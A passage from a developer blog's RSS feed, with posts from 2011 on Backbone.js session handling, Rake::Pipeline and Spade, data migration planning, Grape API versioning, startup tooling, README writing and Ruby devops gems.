<p>This model has a simple and straightforward interface. When it's initialized, it looks for an existing login with the <a href="https://github.com/carhartl/jquery-cookie">jQuery cookie</a> plugin. If it finds this information, it'll set the <code>access_token</code> and <code>user_id</code> for later use. Once an <code>access_token</code> is set, then the <code>authenticated</code> method will return true.</p>
<p>In our main application, we'll have a single entry point for our application that'll route the user the based on whether they're authenticated or not.</p>
<pre><code>App.start = -&gt;
  @session = new App.Models.Session()
  if @session.authenticated()
    # redirect to user page
  else
    # launch a login form
</code></pre>
<p>With this, all of your pages can run <code>App.start()</code> at the bottom of a page to initialize any authentication logic.</p>
<p>Backbone.js makes no assumptions about what you're using for generating sessions in your backend. In our app, we're using oauth authentication, which is why our key is named <code>access_token</code>, but this pattern can be applied to whatever authentication system your backend uses.</p>
  ]]></description>
</item>

<item>
  <title>Useful Libraries: Rake::Pipeline and Spade</title>
  <link>https://jch.github.io/posts/2011-12-19-useful-libraries-rake-pipeline-and-spade.html
</link>
  <guid>https://jch.github.io/posts/2011-12-19-useful-libraries-rake-pipeline-and-spade.html
</guid>
  <pubDate>Mon, 19 Dec 2011 00:00:00 -0800</pubDate>
  <description><![CDATA[
<p><em>Republished from <a href="http://blog.opperator.com" rel="nofollow">Opperator blog</a></em></p>
<p>In doing research for whether Ember.js would be a good fit for Opperator, I
took some notes about the process.  I came across two useful libraries used in Ember.js that I hadn't heard of
before.
<a href="http://rubydoc.info/github/livingsocial/rake-pipeline/master/file/README.yard" rel="nofollow">Rake::Pipeline</a>
helps package code assets together, and
<a href="https://github.com/charlesjolley/spade">spade</a> is a Javascript dependency
manager. Here's a quick overview of what they do, and how you can use them in your project.</p>
<div class="markdown-heading"><h2 class="heading-element">Rake::Pipeline</h2><a id="user-content-rakepipeline" class="anchor" aria-label="Permalink: Rake::Pipeline" href="#rakepipeline"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>From the Rake::Pipeline docs:</p>
<blockquote>
<p>Rake::Pipeline is a system for packaging assets for deployment to
the web. It uses Rake under the hood for dependency management and
updating output files based on input changes.</p>
</blockquote>
<p>Think of Rake::Pipeline as a lighter and simpler Sprockets. It allows you to
declaratively match filenames with regexps, and then run those matched files
through custom filter classes. Here's an easy example of how to concatenate
all files that end in .js, and then slap a license on the top</p>
<pre><code># Assetfile
input  "app/assets/javascripts"
output "public/javascripts"

class LicenseFilter &lt; Filter
  LICENSE = File.read('LICENSE')

  def generate_output(inputs, output)
    output.write LICENSE
    output.write "\n"
    output.write inputs.map(&amp;:read).join("\n")
  end
end

match "*.js" do
  filter Rake::Pipeline::ConcatFilter, "application.js"
  filter LicenseFilter
end
</code></pre>
<p>First you declare where you want your base input and output directory paths
should be. The <code>input</code> directory will be where files will be matched up
against. Next we define our own custom LicenseFilter, which is used to prefix
input files with the contents of our LICENSE file. As you can guess from the
arguments of the <code>generate_output</code> method, each element in the <code>inputs</code> array
is an <code>IO</code> object that you can read from, and <code>output</code> is the destination of
what you're writing.</p>
<p>Finally, we use the <code>match</code> block to specify that we want all files that end
in .js to be run through the <code>Rake::Pipeline::ConcatFilter</code> and output to
<code>public/application.js</code>. Then we run our <code>LicenseFilter</code> against the final
file to prefix our license.</p>
<div class="markdown-heading"><h2 class="heading-element">Spade</h2><a id="user-content-spade" class="anchor" aria-label="Permalink: Spade" href="#spade"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Spade is a package manager and file loader that reminds me of
<a href="http://npmjs.org/" rel="nofollow">NPM</a>. The goal of the library is to be able to package and
require modules that can be run in a terminal and also in the browser. The
browser part is obvious, but being able to run from the terminal is quite
useful. For example, you can have an npm-like module named 'awesome-module', and from a terminal do:</p>
<pre><code>spade preview  # opens in a browser with your module loaded
spade console  # start interactive repl
&gt; require('awesome-module/main)
</code></pre>
<p>Alongside with <a href="https://github.com/tomdale/spade-qunit">spade-qunit</a>, you can
easily separate a library into a bunch of packages, test them separately, and
view the results in a browser.</p>
  ]]></description>
</item>

<item>
  <title>Planning a Big Data Migration</title>
  <link>https://jch.github.io/posts/2011-12-01-planning-a-big-data-migration.html
</link>
  <guid>https://jch.github.io/posts/2011-12-01-planning-a-big-data-migration.html
</guid>
  <pubDate>Thu, 01 Dec 2011 00:00:00 -0800</pubDate>
  <description><![CDATA[
<p>It doesn't matter if data is being migrated from SQL to NoSQL, from flat
files to key-value store, or from XML to an object database, or every
permutation of any data store to any other data store. What stays constant is
the fact that data migrations are scary and painful. Without the right strategy, a big
data migration will leave you with inconsistent data, strange errors, and very
angry users. Read on for a data migration checklist that'll save you days of
headache.</p>
<p>It doesn't matter if data is being migrated from SQL to NoSQL, from flat
files to key-value store, or from XML to an object database, or every
permutation of any data store to any other data store. What stays constant is
the fact that data migrations are scary and painful. Without the right strategy, a big
data migration will leave you with inconsistent data, strange errors, and very
angry users. Read on for a data migration checklist that'll save you days of
headache.</p>
<div class="markdown-heading"><h2 class="heading-element">Backup</h2><a id="user-content-backup" class="anchor" aria-label="Permalink: Backup" href="#backup"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Before even considering a massive destructive mutation of your data, you
should have working backups. The keyword is <strong>"working"</strong>. Take production
dumps of your data, and make sure you can load the same data on a cloned
environment. If anything goes wrong when migration day comes along, these
backups will be your last line of defense. Backups are also useful for doing
practice runs of a migration.</p>
<div class="markdown-heading"><h2 class="heading-element">Logging</h2><a id="user-content-logging" class="anchor" aria-label="Permalink: Logging" href="#logging"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Create a logger that logs to a separate place from your application logs
that's specific for the migration. When the migration is running, the logger
should warn on strange data and error on exceptional cases. To keep the log
useful, it's important not to flood it with debugging information. Log only
the most important details needed for troubleshooting problems: a timestamp,
an id reference to the failing record, and a brief description of the failure
reason.</p>
<div class="markdown-heading"><h2 class="heading-element">Atomicity</h2><a id="user-content-atomicity" class="anchor" aria-label="Permalink: Atomicity" href="#atomicity"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Regardless of whether the destination data store supports transactions or not,
the migration should always define an invariant for when a record is
successfully imported. If this invariant is broken, then whatever has been
done to break the invariant should be undone so that your data isn't in some
zombie half consistent state.</p>
<div class="markdown-heading"><h2 class="heading-element">Idempotence</h2><a id="user-content-idempotence" class="anchor" aria-label="Permalink: Idempotence" href="#idempotence"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Not strictly the definition of
<a href="http://en.wikipedia.org/wiki/Idempotence" rel="nofollow">idempotence</a>, but similar to
maintaining consistency, your code should be able to handle re-migrating the
same data. If the migration crashes halfway, having this property allows you
restart and import again without worrying about weird state issues.</p>
<div class="markdown-heading"><h2 class="heading-element">Batch Processing</h2><a id="user-content-batch-processing" class="anchor" aria-label="Permalink: Batch Processing" href="#batch-processing"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Having atomicity and idempotence lets your migration be split up into smaller
migrations. Instead of migrating a million records in an all-or-nothing
migration and crossing your fingers, you can split them up into small 500
record batches. If any single batch fails, you can redo just that single
batch, rather than redo the entire migration. This also allows you to balance
the migration across more resources like multiprocessors, different servers,
and different slave databases.</p>
<div class="markdown-heading"><h2 class="heading-element">Validation</h2><a id="user-content-validation" class="anchor" aria-label="Permalink: Validation" href="#validation"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>After a migration is complete, it's important to be able to validate that
everything is still working. This means running your test suite, your
integration tests, and also logging in as existing users and clicking around.</p>
<div class="markdown-heading"><h2 class="heading-element">Live Migrations</h2><a id="user-content-live-migrations" class="anchor" aria-label="Permalink: Live Migrations" href="#live-migrations"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Running a migration with scheduled downtime is hard enough as it is, but in
certain applications, a big chunk of downtime is unacceptable. If this is the
case, then it's critical to add bookkeeping code that tracks which records has
been migrated and which haven't. This allows you to query and incrementally
upgrade parts of your system while co-existing with old data and old code.</p>
<div class="markdown-heading"><h2 class="heading-element">Plan Ahead</h2><a id="user-content-plan-ahead" class="anchor" aria-label="Permalink: Plan Ahead" href="#plan-ahead"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Data migrations will always be a chore. But with the right strategy, at least
it'll be one that can be finished, rather than something that drags along and
repeatedly slows down your whole team.</p>
  ]]></description>
</item>

<item>
  <title>Behind the Curtain: Grape API Versioning</title>
  <link>https://jch.github.io/posts/2011-11-30-grape-api-versioning.html
</link>
  <guid>https://jch.github.io/posts/2011-11-30-grape-api-versioning.html
</guid>
  <pubDate>Wed, 30 Nov 2011 00:00:00 -0800</pubDate>
  <description><![CDATA[
<p><em>Republished from <a href="http://blog.opperator.com/post/13546958887/grape-api-versioning" rel="nofollow">Opperator blog</a></em></p>
<p><i><strong>Behind the Curtain</strong> posts explore the development of a piece of Opperator's architecture, including the what, why, and how.</i></p>
<p><a href="http://github.com/intridea/grape">Grape</a> is a Ruby framework for building
restful APIs on the web. We're using it extensively to build
<a href="http://opperator.com" rel="nofollow">Opperator</a>. Out of the box, Grape has built-in support
for versioning your APIs. There's general information about how to use
versioning in the Grape README and the wiki, but this post is more about
digging into the nitty-gritty and discussing some of the design decisions and
implementation details that've been merged in recently.</p>
<div class="markdown-heading"><h2 class="heading-element">Path Based Versioning</h2><a id="user-content-path-based-versioning" class="anchor" aria-label="Permalink: Path Based Versioning" href="#path-based-versioning"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Previously, Grape supported API versioning by prefixing the version name in
the url.  For example:</p>
<pre><code>class MyAPI &lt; Grape::API
  version :v1

  # GET /v1/cows
  get '/cows' do
    # retrieve bovine goodness
  end
end
</code></pre>
<p>When <code>version</code> is called, the version names are passed into
<code>Grape::Middleware::Versioner</code> <a href="https://github.com/intridea/grape/blob/ca7ad7d29799fec6bddc4a0639004b7ff3b85f77/lib/grape/middleware/versioner.rb">pre-refactored
file</a>
When a request comes in, the middleware looks for a matching version in the
path. If it finds the version, it rewrites the path info without the version
prefix, sets <code>env[api.version]</code>, and moves along it's merry way. If no version
is matched, then a 404 is thrown.</p>
<div class="markdown-heading"><h2 class="heading-element">Header Based Versioning</h2><a id="user-content-header-based-versioning" class="anchor" aria-label="Permalink: Header Based Versioning" href="#header-based-versioning"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>This works as you'd expect, but introduces your versioning scheme into your
resource uri's. Workable, but it messes up those pretty restful uris.
Fortunately, the HTTP protocol <a href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html" rel="nofollow">Accept
header</a> is a perfect
fit for this problem. RFC 2616 defines the Accept header as:</p>
<blockquote>
The Accept request-header field can be used to specify certain media types
which are acceptable for the response. Accept headers can be used to indicate
that the request is specifically limited to a small set of desired types, as
in the case of a request for an in-line image.
</blockquote>
<p>While the example the RFC gives is related to multimedia, if you squint and
replace the references to media with 'version', then you have a good overview
of header based API versioning. This Accept header field can be used to scope
a request to a specific API version. For example, the <a href="http://developer.github.com">Github
API</a> understands the following Accept header:</p>
<pre><code>Accept: application/vnd.github-v1+json
</code></pre>
<p>The client who sent this header is asking the server "Hey Github, can you give
me a responses that is version v1 and formatted in JSON?". When Github sees
this request, it can do one of two things. If it's able to answer the
question, then it processes the request as normal. However, if Github doesn't
understand the Accept field value, then it should send a 406 Not Acceptable
response.</p>
<p>Revisiting our code sample, we would define our API as follows:</p>
<pre><code>class MyAPI &lt; Grape::API
  version :v1, :using =&gt; :header, :vendor =&gt; 'intridea', :format =&gt; :json

  # GET /cows
  get '/cows' do
    # retrieve bovine goodness
  end
end
</code></pre>
<p>Header based versioning is the new default versioning strategy, but I
explicitly specified it in the example for clarity. The <code>vendor</code> option is new
and is a way to describe the vendor providing this API, and the <code>format</code>
option is the expected response format. Similar to path based versioning,
<code>Grape::Middleware</code> is responsible for figuring out the version being
requested and setting <code>env[api.version]</code>. But since there are now multiple
strategies for handling versions, <code>Grape::Middleware::Versioner</code> has been
split into two middlewares. <code>Grape::Middleware::Versioner::Path</code> is the
original path based middleware, and <code>Grape::Middleware::Versioner::Header</code> is
the new kid on the block. <a href="https://github.com/intridea/grape/blob/12e44781d7e825644dba5ad52e98c95239923e74/lib/grape/middleware/versioner/header.rb">Relevant commit
here</a></p>
<p>This new middleware will use the following format in the Accept header when
matching for versions:</p>
<pre><code>application/vnd.:vendor-:version+:format
</code></pre>
<p>These are the fields that are original declared when <code>version</code> was first
called. If the middleware is able to match these fields, then the endpoint is
called with some extra environment variables 'api.vendor', 'api.version', and
'api.format'. If the version couldn't be matched, then the middleware returns
404 <strong>and also sets the X-CASCADE header to pass</strong>. That last part is
important because it allows <a href="https://github.com/josh/rack-mount">Rack::Mount</a>
to keep looking for other endpoints which might match the version.</p>
<p>You can also control the routing behavior when no Accept header is specified
with the <code>strict</code> option. If <code>strict</code> is set to true, then a 404 will be
returned when no Accept is set. If <code>strict</code> is false, then the first matched
endpoint is returned. This is inline with the RFC definition and basically
means that the client doesn't care which version the server responds with.
Most likely, if <code>strict</code> is set to false, you'd like to use the latest
available version. To achieve this, you should mount your latest version as
high as possible (similar to routes precedence in Rails)</p>
<pre><code>class MyAPI &lt; Grape::API
  # version v2 has higher precedence than v1
  version :v2, :strict =&gt; false do
    get '/cows' do
    end
  end

  version :v1 do
    get '/cows' do
    end
  end
end
</code></pre>
<div class="markdown-heading"><h2 class="heading-element">Custom Versioning Strategies</h2><a id="user-content-custom-versioning-strategies" class="anchor" aria-label="Permalink: Custom Versioning Strategies" href="#custom-versioning-strategies"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Currently, path and header based versioning are what's understood, but we've
opened up the possibility of custom versioning strategies. Prefer to do domain
based versioning? Or IP-based versioning? If you want to get really wacky, you
can even version based on the lunar calendar.</p>
<p>Extra thanks goes out to <a href="https://github.com/jwkoelewijn">jwkoelewijn</a> for
creating the initial feature branch and kicking off the discussion.</p>
  ]]></description>
</item>

<item>
  <title>Developers, what are you thankful for?</title>
  <link>https://jch.github.io/posts/2011-11-23-developers-what-are-you-thankful-for.html
</link>
  <guid>https://jch.github.io/posts/2011-11-23-developers-what-are-you-thankful-for.html
</guid>
  <pubDate>Wed, 23 Nov 2011 00:00:00 -0800</pubDate>
  <description><![CDATA[
<p><em>Republished from <a href="http://blog.opperator.com" rel="nofollow">Opperator blog</a></em></p>
<p><a target="_blank" rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/6cec9cb200fbf7888baafd477477c238806ec53cb8ccfac6d7e791e073d58f35/687474703a2f2f6d656469612e74756d626c722e636f6d2f74756d626c725f6c76327034693574387431717a736377642e706e67"><img src="https://camo.githubusercontent.com/6cec9cb200fbf7888baafd477477c238806ec53cb8ccfac6d7e791e073d58f35/687474703a2f2f6d656469612e74756d626c722e636f6d2f74756d626c725f6c76327034693574387431717a736377642e706e67" alt="Gobble Gobble" data-canonical-src="http://media.tumblr.com/tumblr_lv2p4i5t8t1qzscwd.png" style="max-width: 100%;"></a></p>
<p>With the year coming to a close and the holidays fast approaching, it's a
good time to step back and reflect on how lucky we are to be developers in
this point in history. Below's a list of things that we're thankful for.</p>
<div class="markdown-heading"><h2 class="heading-element">Jerry's List</h2><a id="user-content-jerrys-list" class="anchor" aria-label="Permalink: Jerry's List" href="#jerrys-list"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p><strong>Webhooks:</strong> As a kid, I loved legos. There's something magical about
taking a bunch of colorful rectangular blocks and turning it into something
recognizable. Software development is like legos, but with more block types.
And as a web developer, web hooks are our version of lego expansion packs.
You can build your own expansion and share it with the world. Oh, and on top
of that, when you finish, you end up with something <em>useful</em>. How cool is
that?</p>
<p><strong>Emacs:</strong> I first used emacs in my first computer science class at Cal
(CS61A Go Bears!). While most of my friends are Vim snobs, Emacs will always
have a special place in my toolbox. The endless customization is addictive
and the macro capabilities can't be beat. The UX/UI leaves something to be
desired, and someday I hope to write the beautiful UI wrapper that it
deserves.</p>
<p><strong>Ruby:</strong> This one's obvious. Whether I'm using it in Rails for web
development, hacking on <a href="http://github.com/intridea/grape">Grape</a> for APIs,
or batch processing images, Ruby just makes it <em>fun</em>.</p>
<div class="markdown-heading"><h2 class="heading-element">Michael's List</h2><a id="user-content-michaels-list" class="anchor" aria-label="Permalink: Michael's List" href="#michaels-list"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p><strong>GitHub:</strong> Do you remember the time when you had to apply and get approved for open source project hosting? Thanks to GitHub those days are behind us. The open source community owes a huge debt to the octocat for increasing the pace and ease of open source development by an order of magnitude or two.</p>
<p><strong>Low Overhead:</strong> So far for Opperator we have a beta signup system, a blog that can handle thousands of visitors, a deployment environment for building our app and a place to host our code. Total outlay so far? $10 for the domain. Okay we're piggybacking on the private GitHub account for <a href="http://intridea.com" rel="nofollow">Intridea</a> but that's still <em>amazing</em>.</p>
<p><strong>Other Developers:</strong> The ones that fix stuff on my open source projects, the ones that hash out ideas with me and help me better my game, the ones that spend countless hours building things that I get to use for free. The ones that answer my random questions on Twitter. You guys are all awesome.</p>
<p>Software development is about building cool stuff. The path isn't always perfectly
smooth, but it is buckets full of cranberry awesomesauce. So take a moment and reflect, what are you thankful for as a developer?</p>
<p><em>Bonus</em>: to generate your own turkey-cow, check out the original <a href="http://www.nog.net/~tony/warez/cowsay.shtml" rel="nofollow">cowsay</a>, or <a href="https://github.com/PatrickTulskie/ruby_cowsay">ruby_cowsay</a>, or the <a href="http://cowsay.heroku.com" rel="nofollow">hosted web version</a>.</p>
  ]]></description>
</item>

<item>
  <title>The Scrappy Guide to Pre-Launch Bootstrapping</title>
  <link>https://jch.github.io/posts/2011-11-21-scrappy-guide-to-prelaunch-bootstrapping.html
</link>
  <guid>https://jch.github.io/posts/2011-11-21-scrappy-guide-to-prelaunch-bootstrapping.html
</guid>
  <pubDate>Mon, 21 Nov 2011 00:00:00 -0800</pubDate>
  <description><![CDATA[
<p><em>Republished from <a href="http://blog.opperator.com" rel="nofollow">Opperator blog</a></em></p>
<p>A lot of startup advice revolves around launching a minimal viable product quickly. You’re happy to put in plenty of sweat and elbow grease for your fledging product, but what about all of your non-core competencies? How will you collect emails from interested users? Or how about keeping your audience engaged on your blog? You want something simple to setup, but with enough functionality to get stuff done.  Without further ado, here’s the list of tools we used to get Opperator’s community machine up and running.</p>
<div class="markdown-heading"><h2 class="heading-element"><a href="http://launchrock.com" rel="nofollow">LaunchRock</a></h2><a id="user-content-launchrock" class="anchor" aria-label="Permalink: LaunchRock" href="#launchrock"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>A simple no-frills service for building a landing page to collect contact information from interested users. We chose it for its built-in analytics and simple styling. Protip: the customizable fields allows html, so you can tweak their default form styling.</p>
<p><a target="_blank" rel="noopener noreferrer" href="/images/opperator-launchrock.jpg"><img alt="Opperator Launchrock landing page" height="354" src="/images/opperator-launchrock.jpg" width="500" style="max-width: 100%;"></a></p>
<div class="markdown-heading"><h2 class="heading-element"><a href="http://tumblr.com" rel="nofollow">Tumblr</a></h2><a id="user-content-tumblr" class="anchor" aria-label="Permalink: Tumblr" href="#tumblr"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>We signed up for both Posterous and Tumblr, but ultimately went with Tumblr. Being developers, we really wanted something that supports Markdown. We wanted flexibility and features, but at the same time, we didn’t want to get distracted and setup our own blog system.  Remember that every hour you spend shaving that hairy blog yak is an hour you could spend on engaging users and refining your product. While Tumblr has its quirks (its UX infuriates me), it’s very easy to style and easy to manage. Extra tip: to add images to your text posts, consider snapping screenshots with <a href="http://getcloudapp.com/" rel="nofollow">Cloud App</a> or <a href="http://skitch.com/" rel="nofollow">Skitch</a>.</p>
<div class="markdown-heading"><h2 class="heading-element"><a href="http://twitter.com" rel="nofollow">Twitter</a></h2><a id="user-content-twitter" class="anchor" aria-label="Permalink: Twitter" href="#twitter"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Since we’re building a product for developers, being reachable on Twitter is just as or more important than having an email! We’re on Twitter as <a href="http://twitter.com/opperatorapp" rel="nofollow">@opperatorapp</a> and we’re cross-linking to our Twitter account everywhere. Twitter is such a fast, easy way to engage your audience that it’s a virtual no-brainer.</p>
<div class="markdown-heading"><h2 class="heading-element"><a href="https://github.com">Github</a></h2><a id="user-content-github" class="anchor" aria-label="Permalink: Github" href="#github"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>We love <a href="https://github.com/opperator">open source</a>, and open source loves us back. On top of using GitHub to host our code, we also use its wiki to organize notes, and its issues tracker to manage tasks. Developer friendly APIs makes it a joy to work with, and we’re going to emulate the same developer joy in our product.</p>
<p><a target="_blank" rel="noopener noreferrer" href="/images/opperator-github.png"><img alt="Opperator and GitHub" height="261" src="/images/opperator-github.png" width="500" style="max-width: 100%;"></a></p>
<div class="markdown-heading"><h2 class="heading-element"><a href="http://ducksboard.com" rel="nofollow">Ducksboard</a></h2><a id="user-content-ducksboard" class="anchor" aria-label="Permalink: Ducksboard" href="#ducksboard"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>There’s a number of these services out there, but we had a beta invite sitting around for <strong>Ducksboard</strong>, a simple dashboard for various metrics about your site. We’re still working on wiring it up, but hopefully it will be a good way to measure key data across the business at a glance.</p>
<p><a target="_blank" rel="noopener noreferrer" href="/images/opperator-ducksboard.png"><img alt="Ducksboard Dashboard" src="/images/opperator-ducksboard.png" style="max-width: 100%;"></a></p>
<div class="markdown-heading"><h2 class="heading-element">Keeping it all organized</h2><a id="user-content-keeping-it-all-organized" class="anchor" aria-label="Permalink: Keeping it all organized" href="#keeping-it-all-organized"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>For starters, we're using <a href="http://highrisehq.com/" rel="nofollow">Highrise</a> to keep notes with people we've talked to, <a href="http://mailchimp.com/" rel="nofollow">Mailchimp</a> to manage email campaigns, and <a href="http://www.google.com/analytics/" rel="nofollow">Google Analytics</a> and <a href="http://get.gaug.es/" rel="nofollow">Gauges</a> to keep tabs on our web analytics. We'll trim and add services as the need rises.</p>
<div class="markdown-heading"><h2 class="heading-element">Tools shouldn’t get in the way.</h2><a id="user-content-tools-shouldnt-get-in-the-way" class="anchor" aria-label="Permalink: Tools shouldn’t get in the way." href="#tools-shouldnt-get-in-the-way"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>At the end of the day, don’t forget that tools are meant to enhance your capabilities as a person. If you find you yourself customizing endless options and seething in frustration, then that shiny tool might really be a liability in disguise.</p>
<p>What did you use to launch your product? Anything lifesaving, anything to avoid like the plague? Share with us in the comments.</p>
<p><em>Republished from <a href="http://blog.opperator.com/post/13112131476/the-scrappy-guide-to-pre-launch-bootstrapping" rel="nofollow">Opperator blog</a></em></p>
  ]]></description>
</item>

<item>
  <title>PROJECT README, Y U NO HAVE?</title>
  <link>https://jch.github.io/posts/2011-11-21-project-readme-y-u-no-have.html
</link>
  <guid>https://jch.github.io/posts/2011-11-21-project-readme-y-u-no-have.html
</guid>
  <pubDate>Mon, 21 Nov 2011 00:00:00 -0800</pubDate>
  <description><![CDATA[
<p>Pick any popular open source library. It'll have more documentation than your
application code - I guarantee it. Test and documentation are both
acknowledged as good development practices. But unlike testing, documentation
doesn't get the same love from developers. For code that isn't intended for a
public audience, developers keep all the docs in their head, or assume that
their code is self documenting. Additionally, the tests become a kind of
runnable documentation. But there's several lessons we can apply to our
private application code from open source documentation. Today, we'll start
the conversation with the lowest hanging fruits - the README.</p>
<p><a target="_blank" rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/f308868ff605f7cf20ea2aa454d39b32004fe49c242b88d05ebe3b5b46e3c316/687474703a2f2f662e636c2e6c792f6974656d732f317a3357316f30713430325a31343171327732582f31313531363934352e6a7067"><img src="https://camo.githubusercontent.com/f308868ff605f7cf20ea2aa454d39b32004fe49c242b88d05ebe3b5b46e3c316/687474703a2f2f662e636c2e6c792f6974656d732f317a3357316f30713430325a31343171327732582f31313531363934352e6a7067" data-canonical-src="http://f.cl.ly/items/1z3W1o0q402Z141q2w2X/11516945.jpg" style="max-width: 100%;"></a></p>
<p>Pick any popular open source library. It'll have more documentation than your
application code - I guarantee it. Test and documentation are both
acknowledged as good development practices. But unlike testing, documentation
doesn't get the same love from developers. For code that isn't intended for a
public audience, developers keep all the docs in their head, or assume that
their code is self documenting. Additionally, the tests become a kind of
runnable documentation. But there's several lessons we can apply to our
private application code from open source documentation. Today, we'll start
the conversation with the lowest hanging fruits - the README.</p>
<p>The lack of a good README is one of my major pet peeves. When starting on a
new project, more often than not, I'll find myself staring at this README:</p>
<pre><code>== Welcome to Rails

Rails is a web-application framework that includes everything needed to
create database-backed web applications according to the
Model-View-Control pattern.
</code></pre>
<p>That's a fantastic README introduction... for the Rails framework. But it also
happens to be the default scaffold README for every new Rails project. Think
of a README as a first impression of your project. Just like open source
projects, your README should introduce the project the new developers.</p>
<p>Take 5 minutes of your time to write a README that explains the following
things:</p>
<p><strong>What is it?</strong></p>
<p>A short elevator pitch about your application. Examples:</p>
<ul>
<li>
<a href="https://github.com/travis-ci/travis-ci/blob/master/README.textile">Travis</a>
is an attempt to create an open-source, distributed build system for the
Ruby community that allows open-source projects to register their
repository and have their test-suites run on demand...</li>
<li>
<a href="http://rubydoc.info/docs/yard/frames/file/README.md" rel="nofollow">YARD</a> is a
documentation generation tool for the Ruby programming language. It
enables the user to generate consistent, usable documentation that can be
exported to a number of formats very easily, and also supports extending
for custom Ruby constructs such as custom class level definitions.</li>
<li>
<a href="https://github.com/spree/spree">Spree</a> is a complete open source commerce
solution for Ruby on Rails. It was originally developed by Sean Schofield
and is now maintained by a dedicated core team. You can find out more
about by visiting the Spree e-commerce project page.</li>
</ul>
<p><strong>How do I set it up?</strong></p>
<p>List any dependencies your project has, both libraries it depends on, as well
as external services it uses. Also remember to include any commands to start
required services. Example:</p>
<pre><code>Development Setup

# install redis, mysql
brew install redis
brew install mysql

# install rvm: http://beginrescueend.com/rvm/install/

# within the project directory
bundle
rake db:setup
foreman start
# visit: http://localhost:3000
</code></pre>
<p><strong>Project Workflow and Tips</strong></p>
<p>Usually, I like to add an additional section for developers to add tips and
tricks that help with their day to day workflow. The notes listed in this
section are optional and individual developers can choose to use them or not.</p>
<p><strong>Seed and Test Data</strong></p>
<p>Often times, existing developers and stakeholders will have their environments configured
and won't remember what seed data the system assumes to exist. Versioning a gzip dump
of the test data is perfect for someone to come along and get a sense of what the
app data looks like.</p>
<p><strong>Who do I contact for help?</strong></p>
<p>If the project is a client project, it's good to list the stakeholders and
their roles. It's also a good place to put down the names and contact
information for members who may have worked on the project in the past.</p>
<p><strong>Relevant links</strong></p>
<p>A list of links to other sources of documentation or project management tools.</p>
<ul>
<li>bug tracker</li>
<li>comps, wireframes, and design prototypes</li>
<li>wikis</li>
<li>staging, qa environments</li>
<li>other servers</li>
</ul>
<p>Having a good README can help you onboard developers faster and have a single
starting point for your project. It's easy and fast to write, so go forth and
write yours today!</p>
  ]]></description>
</item>

<item>
  <title>Rubies to Prevent Devops Mayhem</title>
  <link>https://jch.github.io/posts/2011-06-01-rubies-to-prevent-devops-mayhem.html
</link>
  <guid>https://jch.github.io/posts/2011-06-01-rubies-to-prevent-devops-mayhem.html
</guid>
  <pubDate>Wed, 01 Jun 2011 00:00:00 -0700</pubDate>
  <description><![CDATA[
<div>








</div>
<p>You've just written a masterpiece of a web app. It's fun, it's viral,
and it's useful. It's clearly going to be "Sliced Bread 2.0". But what
comes next is a series of unforeseen headaches. You'll outgrow your
shared hosting and need to get on cloud services. A late night hack
session will leave you sleep deprived, and you'll accidentally drop
your production database instead of your staging database. Once you
serve up a handful of error pages, your praise-singing users will
leave you faster than it takes to start a flamewar in #offrails. But
wait! Just as Ruby helped you build your killer app, Ruby can also
help you manage your infrastructure as your app grows. Read on for a
list of useful gems every webapp should have.</p>
<div class="markdown-heading"><h3 class="heading-element">Backups</h3><a id="user-content-backups" class="anchor" aria-label="Permalink: Backups" href="#backups"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>When you make a coding mistake, you can revert to a good known
commit. But when disaster wrecks havoc with your data, you better have
an offsite backup ready to minimize your losses. Enter the <a href="https://github.com/meskyanichi/backup/">backups
gem</a>, a DSL for describing
your different data stores and offsite storage locations. Once you
specify what data stores you use in your application (MySQL,
PostgreSQL, Mongo, Redis, and more), and where you want to store it
(rsync, S3, CloudFiles), Backup will dump and store your backups. You
can specify how many backups you'd like to keep in rotation, and
there's various extras like gzip compression, and notifiers for when
backups are created or failed to create.</p>
<div class="markdown-heading"><h3 class="heading-element">Cron Jobs</h3><a id="user-content-cron-jobs" class="anchor" aria-label="Permalink: Cron Jobs" href="#cron-jobs"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Having backups configured doesn't make you any less absent minded
about running your backups. The first remedy that jumps to mind is
editing your crontab. But man, it's hard to remember the format on
that sucker. If only there was a Ruby wrapper around
cron... Fortunately there is! Thanks to the <a href="https://github.com/javan/whenever">whenever
gem</a>, you can define repetitious
tasks in a Ruby script.</p>
<div class="markdown-heading"><h3 class="heading-element">Cloud Services</h3><a id="user-content-cloud-services" class="anchor" aria-label="Permalink: Cloud Services" href="#cloud-services"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>With the number of cloud services available today, it's becoming more
common to have your entire infrastructure hosted in the cloud. Many of
these services offer API's to help you tailor and control your
environments programmatically.  Having API's is great, but it's tough
to keep them all in your head.</p>
<p>The <a href="https://github.com/geemus/fog">fog gem</a> is the one API to rule
them all.  It provides a consistent interface to several cloud
services. There are specific adapters for each cloud service. By
following the Fog interface, it makes it really easy to switch between
different cloud services. Say you were using Amazon's S3, but wanted
to switch to Rackspace's CloudFiles. If you use Fog, it's as simple as
replacing your credentials and changing the service name. You can
create real cloud servers, or create mock ones for testing. Even if
